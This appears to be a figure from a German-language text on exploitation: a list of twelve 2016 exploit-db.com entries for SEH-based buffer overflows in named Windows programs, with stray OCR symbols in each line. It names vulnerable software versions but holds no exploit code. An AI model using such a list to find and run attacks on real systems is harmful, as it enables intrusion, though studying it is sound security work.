2016-12-15 § [[@A < Nidesoft MP3 Converter 2.6.18 - SEH Local Buffer Overflow Windows malwrforensics
2016-12-10 & [ < 10-Strike Network File Search Pro 2.3 - SEH Local Buffer Overflow Windows malwrforensics
2016-12-05 & [7 < Dup Scout Enterprise 9.1.14 - Buffer Overflow (SEH) Windows vportal
2016-11-15 & [ < Easy Internet Sharing Proxy Server 2.2 - SEH Overflow (Metasploit) Windows Tracy Turben
2016-11-01 & [ < KarjaSoft SamiFTP Server 2.0.2 - USER/PASS Remote Buffer Overflow (SEH) Windows n30m1nd
2016-10-31 & E] (g Rumba FTP Client 4.x - Stack Buffer Overflow (SEH) Windows Umit Aksu
2016-10-25 & EX & Network Scanner 4.0.0 - SEH Local Buffer Overflow Windows n30m1nd
2016-07-29 & [[@A (@ Easy File Sharing Web Server 7.2 - SEH Overflow (Egghunter) Windows ch3rn0byl
2016-07-25 & [[@ (@ Mediacoder 0.8.43.5852 -'.m3u' SEH Exploit Windows Karn Ganeshen
2016-06-27 § [ « Mediacoder 0.8.43.5830 - '.m3u' Buffer Overflow SEH Exploit Windows Sibusiso Sishi
2016-06-20 & L_j (® Tomabo MP4 Player 3.11.6 - SEH Based Stack Overflow (Metasploit) Windows sOnk3y
2016-05-11 & Q CIScan 1.00 - Hostname/IP Field Overwrite (SEH) (PoC) Windows Nipun Jaswal

Abbildung 6.1: Eine Liste der neusten SEH Exploits auf exploit-db.com
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